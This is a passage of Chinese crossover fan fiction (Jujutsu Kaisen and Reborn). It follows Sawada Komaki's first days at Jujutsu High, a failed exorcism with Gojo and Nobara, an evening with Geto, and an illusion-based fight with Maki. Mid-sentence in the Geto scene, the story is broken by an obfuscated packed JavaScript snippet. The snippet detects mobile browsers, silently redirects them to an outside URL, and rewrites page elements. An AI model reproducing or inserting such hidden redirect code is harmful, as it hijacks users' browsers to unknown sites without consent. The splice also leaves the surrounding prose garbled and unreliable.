伏黑惠在收到好友申请的那一刻……产生了一种与实物不符的违和感。 在把狗卷棘的名片推送给小莳后,她又开口:“说起来那天晚上骑着猫头鹰的是不是你?”说到猫头鹰,又说到黑发绿眼,是哈利波特!虽然只是那么一称呼,实际上伏黑惠的式神应该是怪谈生物,好像是叫鵺?小莳没回忆起来,索性不再想。如果有必要伏黑惠会和她说明的。 显然她想错了,对方和感觉的不同,至少在这里他完全没打算纠正她,只是顺着说:“是的,那天晚上一个前辈受了伤,我载他去家入医生那里治疗。” 真是性格软和的人,和头发也是完全相反的设定, “伏黑同学真是个可靠的后辈。那么时候不早,为了感谢伏黑同学带我逛一圈,我托奈亚随便带了点餐厅外带,如果不嫌弃的话你可以和我一起吃。”寒暄就到此为止,小莳的意思是,收拾收拾她就上楼休息,下午再找五条悟。她询问他:“我去门口接奈亚,到时候敲你的门可以吗?” 得到肯定的回答后,告别伏黑惠。去校门口的路上顺便给狗卷棘发了好友申请。 很快就被通过。 领导同事在天堂:嗨,狗卷同学,好久不见~今天我正好有事来咒术高专,你在吗?如果不在的话我可以把手帕放到指定的地方。 领导同事在天堂:比如礼堂门口的架子上。 狗卷棘:泽田小姐你好,你可以进高专的吗? 领导同事在天堂:是这样的,因为这样那样的原因我会在这里学习一段时间,但算不上高专学生,因为学籍在其他的学校。大概我也有一点能够成为咒术师的天赋。 领导同事在天堂:母亲和兄长觉得我可以过来,然后和五条老师商量了。 狗卷棘:好的,我现在在外出任务,等我回学校联系你好吗? 领导同事在天堂:好的,那就到时候见。 今天出场的是肿胀之女。 “怎么了这是?路上还特地改了外观。”上学的明明是男体,办入学的也是男体。 “听你说他性格敏感,我想初次见面或许使用更亲和的外观。” 不愧是她的奈亚,心思细腻又懂得关心人,不过转念一想敏感害羞的人应该也对初次见面的人说不出那么多话,小莳没在造物面前自己推翻自己的论断,只是点点头:“嗯,干得不错。” 她以扇遮面露出一双弯月眉。 小莳回到宿舍楼后和住在一楼倒数第二间的伏黑惠打了招呼,并向他介绍了奈亚拉托提普:“虽然名义上是匣兵器,但是实际上是深受我信赖的伙伴哦。奈亚有许多面貌,这是肿胀之女,只是其中之一,以后的相处中你会有很多机会见到其他面貌。” 伏黑惠拘谨而礼貌地道了谢,小莳与他告别。 回宿舍趴在椅子上做太上皇,看宿舍大清理。小莳嘴里塞着百花王学园周围商区售卖的精致小点心:“不愧是贵族学院,附近的食物质量也挺高,有半个远月水平。” 肿胀之女身着旗袍,它的原始形象源于20世纪的中国上海,近代时期那里纸醉金迷,稀罕怪谈不少,也成了作家的幻想乡,于是用笔和梦给它又添加了不明来路的神秘,简直就像夜间带网纱出行又遇上大雾。 但那些作家毕竟也没实地到过上海,考察过莺莺燕燕与灯红酒绿,一切的一切也不过是支离破碎的偏见,小莳继承了这份刻板印象,并且添加了一些自己的生活元素,让她成为了今天的模样。 奈亚也和她分享近日轶事:“你带回来的食谱我都学了,正好今晚就在这里烧些便餐如何?也可以给高专的学生带些。” “不,今晚我们回家,明天早上你帮我卷头发,然后再去上课,至于我……我睡到自然醒,”小莳已经规划好一切,“中午我在家吃,晚上你来烧饭,然后明早就从这里到学校。虽然米花的生活日常也还行,但与我而言还是和家人在一起更有安全感。” 最后房间被小莳设计成想要的样子:窗台边是书桌,其后是占用了挺多空间的置物架,餐桌,灶台,卧室,梳妆镜,一应俱全。 下午在狗卷棘传来消息前,五条悟先一步邀请小莳参与任务。 “正好有个二级咒灵的袚除任务,老师厚着脸皮跟学生以晚餐请客的代价添上小莳了,当然,全程我也会随行,不用担心安全问题!” 小莳汗颜,这种好意真的不需要,她只想早点回家。 不抱期待的问,然后得到答案:任务地点是离家遥远的秋叶原。 真是讨厌,她不抱期待地吐槽:“二次元的迪士尼也会诞生怨灵吗?” “手办售空,扭蛋一直不出货,多得是你想不到的事,人类的负面情绪和物种多样性一样难以理解。不过这次是在规划落空的废弃病院综合楼。是咒灵哦。”五条悟双手插兜走得飞快,“忘了和你说,其实我和学生约定好的时间是一点半。” 小莳看了一眼手机上显示的13:45,也跟在五条悟身后小跑起来。 本次配备的辅助监督是新田小姐,但五条悟在场,她主要负责开车。 学生是有过一面之缘的钉崎野蔷薇。 “嗨,你好呀钉崎同学。”在她和五条悟交锋过一轮,五条悟滑溜溜的放任一切抱怨从耳边流过后,小莳和余怒不消的少女打了招呼。 “你是……”钉崎野蔷薇看见小莳时愣住了。 “上次一别已经过了几周,现在我换了新发型,还染了头发,我是接下来会在咒术高专逗留一段时间的泽田小莳,还请多指教~” “你好,我是钉崎野蔷薇。”这个发型……好可爱!让她想起了洋娃娃一样的纱织,一看就是大城市的女孩子。 她很喜欢。 51. 第 51 章 小莳和五条悟坐后座,钉崎坐副驾。 “你怎么又带上眼罩了?”说实话,扫把头这个发型不是谁都驾驭得住,小莳没见过能让它看起来更好看的。 “可以防止六眼接收无关紧要的信息。有反转术式并不意味着脑袋处理信息不会疲劳嘛。”五条悟翘腿的姿势让小莳一秒幻视新干线上没素质的旁边人。 “有点丑,”她直白说出了自己的感官,“你能换条腿吗?我不想看到你的鞋底,也不想有膝盖被碰到的风险。” 五条悟的辩白完全被忽视:“我有无下限。”话虽如此还是乖乖把腿放下,也没再换个方向接着翘。 钉崎野蔷薇在车上睡觉的念想也被打破,不过她并不因此责怪泽田同学,大部分时间先开口的都是五条悟,而且她也听了不少和小莳有关的事情。 “小莳是会对好看的人更宽容的类型吗?” “绝对是,你把眼罩摘下来我对你的好感度就会立刻+20这样。” “诶?现在好感度是多少?” 她像是看破了他的意图:“无可奉告,在你做出比撒娇更离谱的事情前,容我提醒:24h。”五条悟绝对是能做出这种事情的人。 安静没有持续很久,他很快又找到了话题:“小莳晚上想吃什么?” “这得问钉崎同学吧,你要请她吃,好不会做人哦,五条悟。” “叫我五条老师或者悟就行。” “OK,悟。”他是自来熟,而她不在乎称呼,也或者两人其实都不在意。 “你在想什么?都不理我。” 小莳转过头,问了一个至关重要的问题:“在想,既然我还不能凝聚咒力,那我出来见习的意义是?” 什么,时髦小姐居然还不能凝聚咒力,那不就是普通人吗?!钉崎野蔷薇震惊。 说好的袚除了一个特级呢? “谁知道呢,或许你‘扑通扑通,吭哧吭哧’的就学会了。” “……从你嘴里听见的拟声词好欠揍,我想回家了。” “这里和并盛可是反方向,你回不去咯!” “闭嘴。” 下车后,钉崎野蔷薇看到了几个月的班主任……“骗人的吧!帅哥你谁!” 小莳就站在两人身边,闻言和他说:“你看吧,不单我一个人偏好美丽的脸蛋,哼哼。” 明明是人同此心。 她的的意没有持续很久,不一会儿狠心的帅哥安排小莳一个人进医院探路:“就在探索中进步吧,上呀小莳!”然后凑到她耳朵边吹气,“实在不行你掏把枪把它崩了。” “……”这也打不死吧!小莳恨得牙痒痒,别忽悠人啊不良教师! 高专有评教系统吗?她能评吗? 五条悟拦下了钉崎野蔷薇,“别担心,小莳可是很强的。”然后用在场人都能听见的声音小声嘀咕:如果不强的话就当他没说。 钉崎同学,是捧杀,别听,别信。 五条悟借了小莳一把短刀。她用不说谢谢表达自己的愤怒,只留下一个冷酷的背影。 这把短刀在医院四楼病房和呼吸科绕柱跑的时候遗失了。 小莳带着身后的咒灵冲破玻璃的时候,碎片似乎在阳光下泛起彩虹七色的光,但片刻即逝,在帝女雀周身的火炎下燃烧得连残渣都不剩。 所以说袚除咒灵这件事情就像学骑自行车,小脑一旦下达禁止通行的指令,再怎么有干劲,做不到就是做不到。但话又说回来,骑自行车不是只要学会了一次就再也不会忘记了嘛!咒力这种事情也有前面忘了后面忘了的情况存在吗? 小莳停滞在半空的时间间隙,她还有闲暇回头看眼被追赶的情况,总结为今天和咒术师职业结缘失败,遇到困难睡大觉,作为被带班的临时学生,她完全有理由向老师求助:“五条老师,钉崎同学,帮帮!” 热血教师双手摆成喇叭形状,给她加油:“鼓起干劲啊,小莳同学!” 干不了一点。 小莳在半空中跳下,用医院的围墙缓冲,最后降落地面。咒灵们……正在和匣兵器缠斗。她大气也不喘,冷静总结:“我能感觉到这个二级身上力量的丧失,但是如果只能通过这样的方法消耗它的咒力,简直就像是让它寿终正寝一样,和袚除不能说大差不差,只能说毫不相干。” 并不是没办法消耗,只是她看不出其中的意义。 “明明还是青春的年纪,却一点朝气也没有了,真是不可爱。”五条悟噘嘴。 “不要用这张脸做出这种表情!要不你还是把眼罩戴上吧。”小莳靠墙活动着手腕,“揠苗助长可是容易造成损耗的。”比如那把短刀现在就遗失了。 在五条悟插兜,小莳召回匣兵器的时间里,钉崎野蔷薇利用天上掉下来的断肢,刍灵咒法一套带走了这个咒灵。 尘埃落定。 年轻的劳模对此还没做出任何抱怨,五条悟反而表现得失望的那一个,他叹气:“果然只能从最基础的开始教起吗?我对小莳原本有更多的期待呢。” 不了,承受不起。她附赠一个白眼:“擅自期待擅自失望的老师比较糟糕。话说我连咒术的基本准则都不清楚,你这算哪门子期待?” “抱歉!”但内容和这小孩子耍脾气一样的超大声完全对应不上,他的头仰起到两人只能看到下巴的弧度:“毕竟老师我从小天才到大,难得遇到一个认知中‘能杀死我’的存在,一不小心对小莳同学抱有过多的评估真是对不起了!” “……你这么想不开你就去找伏黑同学请求组队调服魔虚罗呗。”很久以前不是同归于尽了一对吗,场合还是御前比斗,君王居然没有降罪?再说了眼前的高瘦男人一脸理直气壮,他真的有近十年教龄吗?他的毕业生不会走上反社会道路吧! 聊天内容已加密,钉崎野蔷薇完全没听懂,她决定等回去问问伏黑惠。而且……“能杀死我”这样的评价也太沉重了。 “哼!” (脏话)怎么和小孩一样,当时就该让五条悟去做彩虹七子。正好他是最强。 “听说五条老师十分擅长理科,如果不是的话那也是十分擅长战斗的,你该知道人在紧张和兴奋的时候才会分泌肾上腺和皮质醇,也只有在某个临界点才能有武艺和心境的突破。”这个二级比起真人还是差远了,况且当时的心境也再难觅得。 面对理解能力没问题身份也平级的熊孩子,怎么办,只能尝试讲道理。 五条悟变得正常起来:“所以说,要用特级?” 经小莳鉴定,他只是看起来正常:“……所以说先上文化课。” 晚餐是钉崎野蔷薇选择的六本木可以看见东京塔的高档餐厅。小莳和她坐一边,五条悟坐钉崎对面。 在闲聊中,小莳听见了钉崎来东京上学的原因以后,很是赞同:“乡下不好,我也不喜欢乡下。但比起冷漠、不关心的人类,我更讨厌排挤、偏见、施展恶意的人类。” “吃饭的时候就应该谈心,小莳,说出你的故事!” “你吃你的蛋糕去吧。”小莳伸手给斜对面五条悟比了2和4。 “你好敷衍,我好伤心。” “喔。”小莳在给夏油杰写小作文。 领导同事在天堂:不考虑物种我愿意和蛋糕结婚的原因:1、是甜品中的名门望族,家世显赫;2、甜到心里,能带给我快乐;3、长得好看且精致;4、因为可以同时享用很多而不犯下重婚之罪;5、有钱的话要多少有多少,给足了安全感;6、这笑话直接说出来怕吓到你,总之它真的好吃,今天回并盛给你带一块。 打完这么一长段她抬起头,发现五条悟还在看她。 小莳问:“要不你先说说看你天才的一生?” 五条悟还真说了,精彩程度让钉崎野蔷薇也停止拍照和社交平台。 “果然是通货膨胀了,当时你只值1个亿。赶紧通过挽救经济挽救民生的方式从根源上减少咒灵。”小莳拿着菜单又下单一份同款蛋糕,就五条悟发言发表重要看法。 既然这块蛋糕是要带走借花献佛,那就聊一个蛋糕的。 她说了句好听话:“希望我人生中的遗憾也都能像你一样失而复得。” 这话一下引起了他的的兴趣:“哦?小莳要说自己的遗憾了吗?” 钉崎野蔷薇也认真听。 “哈哈,仔细一想人生也没什么遗憾呢。” “……” “……” “不过说到我自己,我以前得过战场上的PTSD,”4年的记忆对比14年的记忆,对大脑来说就像附属者功高震主一样,一不小心就会产生认知障碍的心理疾病。 “那段时间我的脑袋恰好是4、5岁儿童的发展程度。”实际上那个时候也确实是儿童。 彭格列的未来战在回到过去以后并没有广为流传,只对内留下了海量文字记录,因为九代目治理下纪律严明,也没有造成泄密。自那之后的飞跃发展,超前的设计,在世人看来也不过是领头羊的厚积薄发。小莳不愿意说太多自己因意外而不知福祸的童年与少年,便带着点误导的用意简单概括。 “所以有很长的时间不愿意相信人类。听起来有些中二,如果让现在的我来评价,那时应是‘误入歧途’了。但即便如此,本人见识过的欺骗、贪婪、堕落都是客观存在的,而实施诸多恶行者大抵死不悔改。人会跟着认知行动,会囿于知觉做出判断。试问,还有什么比偏僻封闭的山村更容易养蛊偏见与愚行?当然这里并不单指地域意义上的乡村……”严格意义上来说意大利和日本还都是发达国家呢,也不妨碍世界末日。 小莳说着,心情变好,毕竟这苦海劫波她算是渡过去了。一个月,她觉得自己彻底从离开的状态中调理回来:“只是说,在那些地方投下蛛丝,也很难对结果抱有期待。所以看到野蔷薇义无反顾的离开,我觉得这真是清醒又洒脱的决定,在我看来是很酷的做法哦。也许真有人能改变局势,做出了不起的推动,但--一般来说我们不会指望自己成为这种人啦,有实力就快跑比较合适。”不会吧,不会真有人觉得自己厉害到能改变世界吧? “什……什么”在钉崎野蔷薇脸红害羞的背景音下,五条悟摘下墨镜,眼中流转从容与自信:“在咒术高专是不会发生这些事的,因为,老师是最强。” “……”内容不论,至少气势上他赢了。 五条悟又调侃一样和她说话:“你还真是和纲吉君有着差不多的消极,不过最后他都会苦哈哈地把该做的全做了,不然也不会有今天和谐的西西里。至于你……” “我怎样?” “大概身体和心理一样诚实。呀,这就是传说中的知行合一吗?” 两人的头都被摸了。 五条悟真是个好人这样的想法在她脑子里闪过,最后留下来的是:这人绝对不是在夸她。 “话说不相信人类这一段和小惠好像,噗。小莳,你们很有缘分,考虑过交往吗?惠是喜欢年长类型的哦!” 这是一个伦理问题。 “快问快答,你相信人类吗?”服务员将蛋糕端上桌,小莳吩咐他打包,回头轻飘飘用问题回应了五条悟。 不信的话你们就去师生恋啊!反正他也比伏黑惠大。小莳没想到在遥远的另一个世界,感同身受的体验到了被冒犯--她有的时候会找人认亲,而五条悟似乎是有点喜欢拉郎配? 五条悟……说实话和小莳雷达总能通上,他一下就get到了她的吐槽点,发觉自己的论据过于草率。 苦恼,小莳只是理毛线一样平淡的反应,亲亲学生第一次恋爱难道就一点希望也没有了吗? 青春这么宝贵,老师可不能就这样结束!而且伏黑甚尔那家伙就在这边,等小莳和惠结婚的时候给他发邀请函好了,无论如何都要送到他手里!他和杰坐长辈那桌,嗯嗯。 “五条老师,你笑得好恶心。”而且撮合同学和新学生这种事情,竟然是出现在白天造谣之后,钉崎真是糟糕的教师。 小莳用餐完毕后就和二人告别了,“再见啦野蔷薇,你也可以叫我小莳,虽然我年长你几岁,但在除灵这门学科上,你反而是更早的前辈呢。”对她比了个再会的手势,“明天见啦。” 不过得是下午,因为上午要摸鱼,还要在家吃午饭,在那之后又要去街上走一圈。总之事情多得很,抽不开身。 夏油杰在半小时前就回了消息:6是什么,我对甜食没有偏好,也吃过晚饭了。 领导同事在天堂:别看,是黄色笑话,已经买了,还有30分钟极速送达,你在哪 夏油杰:在办公室。 夏油杰:不会是ntr笑话吧…… 上一条迅速被撤回。 夏油杰:我脑袋糊涂了,你不必回。 领导同事在天堂:看来你很有impart经验。工作这么辛苦?吃块蛋糕补补。 夏油杰:……等你过来再说 小莳速递很快到了风纪财团,和夏油杰聊了以后才知道原来他是在给她写科普咒术界固有规则的笔记本。 “正好这里的空调比较暖,那边书房的空调还没装。”好朴实的理由,不过在2018年还有人手写笔记,小莳感动于这么复古的整理方式。 夏油杰不愧是五条悟的挚友,知道他就算成了教师也不会循规蹈矩按步骤教学,所以在撰写相关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413119|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报告之外单独为小莳私人订制总结了一番咒术师心得。 和他讲了今天发生的事情:“是的,今天他带我去袚除二级,但失败了。事实证明天才也有失手的时候。”说到这里小莳后知后觉意识到,那把短刀还留在现场。 她发消息给五条悟:今天那把短刀是你的吗? 偷偷在心里盘算,是的话就不管它了。 五条悟:不是,二年级禅院真希的。 小莳很失望,这样就不能不还了。对不认识的人要保留礼仪。 “禅院真希是谁?”这边正好有个前·注册咒术师,问问。 “……”夏油杰依稀记得,好像他说过很过分的话,做过很过分的事情。 他的反应引起了小莳的兴趣:“怎么了?你一脸不妙。” “……是怎么了,你突然问起她?” “欠她个咒具,一不小心丢在东京就去吃饭了。可是我现在不想过去找。”路途遥远,大晚上的废弃医院又晦气,说不定还有低级的咒灵。 明天和狗卷棘约好了见面,搞不好会偶遇身为对方同学的禅院真希,如果不把短刀带过去又不合适。 “因为是不认识的人,所以没什么情分。”小莳有点苦恼,去年暑假结束前不想做作业但死线将近时的感觉回来了,“有一种接过了路边的花然后被要求付钱的感觉--这里我指的是五条悟,我还不认识那个二年级生呢。” 完全不是一回事好吧!夏油杰拾起沙发上的外套:“走吧,我陪你去。八点之前应该能回来,要叫上奈亚吗?” 说不感动是假的。 真是个好人啊,杰。 “不用了,正是洗碗扫地的时候,如果奈亚不在的话就只有奈奈会做了。”小莳舍不得让妈做家务,让造物孝敬她,“你会保护我的对吧,应该不会死在外面。” “是,是,感谢信任。”小莳今天第二次被摸摸头。 * 早上八点半,高专准时开始第一节课,五条悟九点心情愉悦进入教室。 空旷的木地板房间,摆着一排三套桌椅,现在其中的两套主人聊得火热,老师的到来没有影响分贝。剩余的……五条悟发现伏黑惠在认真偷偷听--他以前从不看娱乐资讯,现在手指在屏幕上时不时滑动,看起来很在意。 天塌了他才相信伏黑惠会关注人气爱豆小高田握手会时间排期。 “老师!只有我没有见到过泽田同学了!她什么时候才能来上课!” “昨晚我们还拍了照片,还有实况动图,可以去我的动态里面看到。” “这个,我看到了啊!” “那你为什么不给我点赞?!现在快去。” “哦好。” 五条悟想了下,给出结论:“她的话,至少要到下午。小莳,是个懒鬼!” 三位同学中的两位觉得老师没有资格给出这番评价。 “下午的话,应该是训练?” 肯定了想要自然融入对话之人:“小惠很敏锐,但是她的话应该不会愿意去操场上和一堆陌生的同学们练习。老师给小莳特殊定制了一套从入门到精通的晋级教程!” “真是任性的学生,哎。” 伏黑惠给手机息屏,唯独五条悟没立场说人任性,他很了解泽田同学吗,一副很熟的样子是在做什么。 “惠一脸不相信,等你们相处过就知道我没冤枉她了,小莳,相当自我中心,而且,”五条悟神秘兮兮地用三人都能听见的声音小声说,“她不相信人类。” “……” “……” 这下子提醒起了钉崎野蔷薇昨晚的疑惑,下课后,她问伏黑惠:“魔虚罗是什么?” 伏黑惠眼神一下凌厉起来,两人距离突然拉远,他的紧绷显而易见。 一旁的虎杖悠仁都感应到了:“伏黑,怎么了?” “……是十种影法术最后一个式神。”解释了调伏仪式中式神被独自击败后才能召唤使用,而最后一个魔虚罗在拥有十影术式的人手中从来没被顺利调伏……召唤它的都死了,还有同归于尽的,“你从哪里知道这个名字的。” “小莳对五条老师说的,‘有意向就去请伏黑同学和你组队调伏魔虚罗’现在想来真是了不得的话。但在此之前老师也说了令人在意的内容。”钉崎野蔷薇……还不知道五条悟的家系和渊源,也不明白他的术式,就将事情告诉了同学。 “啊。”见过五条悟和富士山头领域对冲的虎杖直觉不对,真假? “……”对无下限了更多刻,明白这意味着什么的伏黑惠。 期待集思广益,但队友都没反应的钉崎野蔷薇不满叉腰:“没有人发表一下看法吗?” 虎杖打了自己一巴掌:“你没有被邀请。”他是对宿傩说的。 “小心点,那家伙一直没放弃想办法干掉所有人,也包括五条老师。”伏黑惠联想起八十八桥那次的宿傩吃手指,他一直都保有自我意识,只是平常不动声色罢了。 * 小莳醒来的时候是上午十点,睡了有11小时。发尾的小卷和前面的两层刘海都被很好的打理了,照镜子,感觉不化个妆有点对不起造型师奈亚精心做的发型。 好耶,那就去做吧。早餐暂停,先在屋里梳妆打扮。优哉游哉的并盛生活,令人满意。 午饭是奈亚夜间就准备好的黄油土豆和蔬菜咖喱,肉类是油脂丰富的比目鱼,奈奈煎制。和狗卷棘约定的时间是两点,操场。出于礼节,稍微提前一些,她决定十二点半出发。 在帝女雀上,小莳又想起昨晚夏油杰和她提起的百鬼夜行,还有和现在二年级四人的往事。 她还记得自己调侃着问他:“你是不是还想成为新世界的神明之类的?” 得到的回答是:“我认识白兰·杰索,谢谢。” 总有他不知道的事情,小莳又给夏油杰分享了大反派的临终遗言:这个世界,不是有点恶心吗?看那眼神,完全不是这样想的呢。真是的,实在是太耀眼了...... 回来以后他就迷上了泽田纲吉。 “怎样,是不是有点病娇?你作为故事里的反派角色,和他相比,病情如何?” 夏油杰在沉默了一小段间奏后将自己的故事娓娓道来。 她还记得自己听完以后是这么评价的:“你的病情比较松弛,最多0.5白兰,但是呢你的得罪人能力又很好的弥补了这一点。咒术高专的人应该恨死你了。” 总之,从今天起,在咒术高专她就不认识夏油杰这号人,彻底沉默,希望伏黑同学和乙骨同学给点面子不要声张。 原来杰对纯爱的恐惧来自于牛头人の心虚。 52. 第 52 章 小莳到达操场的时候,人有点多。 乙骨忧太出任务去了,其余一二年级全员在场。都没课,忽略死亡率,这所学校的教学环境完美符合小莳对于课业的期待。但是从认知上来说,咒术师疑似是一门辛苦的营生。 小莳和互通姓名的几人远距离招手,算是打了招呼,她坐在操场台阶座位上,等待狗卷棘跑步完毕。 “惠,那个人,就是泽田小莳?”禅院真希戳戳在她旁边刚交手训练过的伏黑惠。 “嗯。”应该是为了还狗卷前辈的东西而来,她今天头发认真打理过,还画了淡妆。 禅院真希给了超低评价:“光腿,乐福鞋,短裤,腿环,反季节外观和这幅样子,不知道她是来做什么的。黑手党家族的大小姐,真是悠闲。” 伏黑惠对此过分心直口快的阴阳不作回应,他只是收起了武器,和从panda前辈那边过来的虎杖、钉崎一起去操场边缘找小莳。 “一年级生们对她印象不错。”熊猫握着拳揉爪走来。 禅院真希无所谓地开口:“岂止他们,狗卷不也。” “话说真希啊,你真该改进一下说话的方式了,刚刚后辈走的时候都没和你打招呼。”真希说话的艺术一直是荒废状态,或者说是精通的反转状态。 她转武器的手一顿:“啰嗦,只是第一眼看见那人就觉得火大。” “这是迁怒吧,她在涩谷救了不少人……而且你一年前对忧太也很不爽。”人挺好,只是这张嘴有点得罪人。刀子嘴豆腐心的角色在这个年代仍然在疯狂上分,熊猫认为这是一种浪漫的萌点。 禅院真希对熊猫竖起了薙刀,“别说话,陪我对练。”语毕便攻上去。 “你忘了你现在在同级里面和忧太关系第二好这件事了吗?”熊猫一个闪身,关系第一好的就是他熊猫本熊,以及他还没有忘记自己嗑的cp,“我一直帮你拿咒具打下手,几百天来任劳任怨,怎么也配得上第一。” 他的小心思完全没被在意,无人裁判,打成一团。裁判狗卷这一圈才跑过半。 “这就是虎杖同学了?你好,我是泽田小莳。”今天他的身上没有令人感到糟糕的氛围,回想特地查证过的信息,目前的宿傩应该是被压制状态,之前是3根手指,涩谷那次枷场姐妹应该仅有一件。 1/5的力量就有这么不详的感觉,这个宿傩有点厉害。 (其实应该是1/4,小莳得到的资料中并没有记载八十八桥的宿傩手指,她少算了一个。) “你好,泽田同学,你不冷吗?”是总是关照顺平生意的泽田小姐,虎杖悠仁还是第一次见到她,但已经知道了对方是一公里内都要点外卖而不堂食的那种,喜好是不要葱,少面。 这时候突然问这个也太失礼了,伏黑惠推了他一下。 “wooo”虎杖完全没有没站稳,他只是叫一声。 “还好,气温对我的着装选择影响不大。”死气之炎比什么保暖神器都管用,火焰充足就没有御寒需求。原来如此,是天然系的吗?放在漫画里得捞一个主角,一女二男的配置也很jump,以及哈利波特里也是这样的,经典名著永不过时。 小莳和野蔷薇解释腿环主要起到一个造型上的作用,并不和西装短裤配套而是单买,原因是它和腰带有点配,所以产生了灵感。 引来时尚买手的惊叹表扬,扬言拿到这个月的钱钱以后一定要去店里逛逛找灵感。 做出“下次有机会一起逛街吧”的邀请后,小莳看到了注意到她并往这里跑来的狗卷棘,她向他微笑。 “海带。”你好。 听不懂就当在和哑巴讲话,在经历过一次全障碍沟通后,她思路主线清晰,不因对方意志而改变。 “狗卷同学,你好。这是给你的。”小莳从随身带的包里抽出包装仔细素帕的手提袋,装好以后送到狗卷棘手上。 “腌鱼子。”嗯嗯。 说话的秘诀她已经完全掌握,首先是毫无怀疑的自信:“昨天下午用到了禅院同学的咒具,我也带来了,现在去还给她,就不打扰你锻炼了。” 现在场上正是打好后休息阶段,小莳一步一步走近绿地:“没有打扰到你吧禅院同--” 被打断:“不要叫我姓氏。” 又是一个家庭矛盾,小莳当即就做出判断。不过话又说回来这个学生讲话一点也没有女高的羞涩委婉,她被打断没间隔多久,又开口重新说明来意:“昨天感谢你的咒具,现在还给你。”她从包里掏出短刀,递给这个被她判定为脾气不好的女孩,幸好昨天顺利找到刀了,不然今天说不定得被找到由头。 以后不能接五条悟那边来历不明的东西。 对方根本不伸手,而是问她,言语中有审视:“用得还顺手吗?” “还不错。”根本没派上用场啦,光顾着秦王绕柱然后帝女雀主攻了,用短刀血一定会溅身上,这种不卫生的事情不要啊。而且这个禅院真希,讲话很有领导风范,贬义的那种。 小莳没有和刚见面的人恶语相向的习惯,她打算温吞地再看看。 手上的刀被抽走,拿在手里掂量,禅院真希语调随意:“听说你要在高专学习一段时间?” “是这样的。”看起来有点凶,这人居然能被杰摁在地上锤?至少在气势上,她已经大赢特赢。 这么想着的时候,短刀被扔回小莳手上,她下意识接住。“既然是要一起学习的同学,那就来切磋一下。” 小莳后退半步:“请容许我郑重的拒绝你,禅院同学。” 就算是真傻瓜也知道这种情况算被挑事了,聪明人才不会跑到这里来。 “都说了不要这么叫我啊!”捆着红巾的薙刀柄袭来,猎猎风声和禅院真希不爽的声音一起传到小莳耳中。 所以她也都说了郑重地拒绝,真是自说自话让人苦恼的性格。除了凶和过分骄傲外,在第一次见面中她又发现了禅院真希的第三缺点。 小莳蹲下,躲过了一竹杠。 “太松懈了!”那人改道转攻小莳下盘,长柄一扫,速度极快,并不在战斗状态也不打算躲避的小莳右膝被狠狠击中了。 不是,谁能想到这还没有结束啊,大家根本都不认识,上二段攻击也太不讲道德了。 骨残像指环呢,救救啊,刚刚击中她的力度够把人腿打飞了,怎么会不起效果? 作为六枚地狱指环之一,骨残像的强度毋庸置疑。能被幻骑士这样的人看重,它的使用效果也是极好的。传闻其上负有成千上万的地狱亡灵,它们对现世执念极大,一有机会便会尝试夺舍主人,取而代之。与之相对的,在使用者遭遇攻击时,亡魂和死灵骸骨会取代本人直接接受攻击。 日常的剐蹭自然不在其列,但这种程度的攻击……柔弱倒在地上的小莳心中升起一个猜想。 不会吧,天与咒缚的事情它不管嘛?这指环好笨! 小莳伸手看了眼左手无名指上不中用的尖叫骷髅。可惜作者几个世纪前就离世,不然还能优化。她用幻术屏蔽了自己的痛觉,因此并不算难受。被敲得在地上滚了一圈,顺从惯性屈膝躺下,扮演尸体。这次无缘无故之余还遭受了严重的物理打击。幸好看样子这个歹毒的学生没有想继续再来一下的动作。 “哈?你这是在做什么,站起来啊。”这幅柔柔弱弱的姿态让真希不爽:“不是黑手党世家的传人吗?你们械斗肉搏的时候也是这幅狼狈样子吗?” 物理打击之余还被嘲讽了家系教育。这女孩的嘴还真有点合不拢,她们之前根本就不认识吧? 小莳有点生气,眼前的人体术超过她,但完全算不得难杀,想要布局戏弄的话也简单得很,但那就是纯粹欺负人。而且她还什么都没说这人就一套连招,最后还要蛐蛐一顿自己,让人在遭受物理攻击外还摸不着头脑。 所以才说囿于认知的行为时常愚蠢而给人造成麻烦。井蛙拘于虚,不可语海;夏虫笃于时,不可语冰。小莳最终决定,对禅院真希还没到动真格的时候,先阴暗地记仇。 惹到她算是禅院真希捏到软柿子了! “抱歉,禅院同学,我尸体有点不舒服,先退下了。”这么说着,她疾如闪电握住了禅院真希的脚腕,起身,借身体的力量拖动对方,令其倒地。 对方精于格斗的事情不必多说,可她用了一点点小小的幻术手段,在禅院真希挥刀过来的时候她顺应地被【切断了手】,而那虚构的断手化为藤蔓扎根在操场中,在土地上和猎物的脚踝上疯狂增生。 “我有句话不知当讲不当讲。”小莳维持着瘫坐的姿势扬了扬自己的两只手,它们都光洁又完好:“你听说过一道失传已久的名菜,叫做吊切安康鱼吗?” 要是杰没和她说禅院真希的吊车尾故事就好了,她还能讽刺回去禅院家的家教,怎么看和彭格列都没有可比性。从甚尔那边她早就知道禅院家对女人和术式不强者缺乏友善态度,正好可以借此让禅院真希难受一下子。 但听了那样的事情,她不得不肯定禅院真希没过过什么好日子的客观情况,因而守住良心底线。受尽了委屈,正义小莳的声音也细弱。 于是她只好低攻击性地说对方现在像挂在架子上,实在是太窝囊力! 学生都聚集过来了,禅院真希吊在小莳的幻觉中大叫着“有本事你别假摔!”“可恶怎么都砍不断?!”,她可想多了,被打到的第一下她确实措手不及。她的反应能力不如对面预设的,小莳被这种无意识的高看取悦了。 然而她捕捉到猎物的幻术造物不会停歇,禅院真希目前以一种宇航员训练的方式在空中转圈,在她不远的地方,两人中间被迅速赶到的学生们填补,小莳就曲着腿坐在草地上。当然,就算是全场最低位,也是胜利者的姿态。 伏黑惠给五条悟发完信息,不一会老师就赶往现场,出场方式是从天而降,“大帅哥五条老师来英雄救美了!” 小莳:“……”坏噜,欺负小朋友被老师发现了。禅院真希有高速旋转的速度在高专,下来的时候多半会眩晕呕吐。 “额……”五条悟凝望小莳一眼,然后在乱哄哄的学生团里解救下了对幻术0分熟悉而失手的真希,“真是狼狈。应该拍下来以后给忧太看。而且伏黑同学,这和你给我发的讯息有点出入,你--” 